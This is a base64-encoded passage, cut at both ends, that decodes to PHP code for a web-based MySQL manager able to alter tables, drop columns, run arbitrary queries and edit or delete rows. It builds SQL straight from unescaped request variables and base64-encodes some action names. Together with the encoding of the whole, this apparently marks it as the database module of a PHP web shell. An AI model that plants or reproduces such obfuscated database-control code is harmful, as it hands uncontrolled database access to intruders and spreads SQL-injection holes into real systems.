UF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaS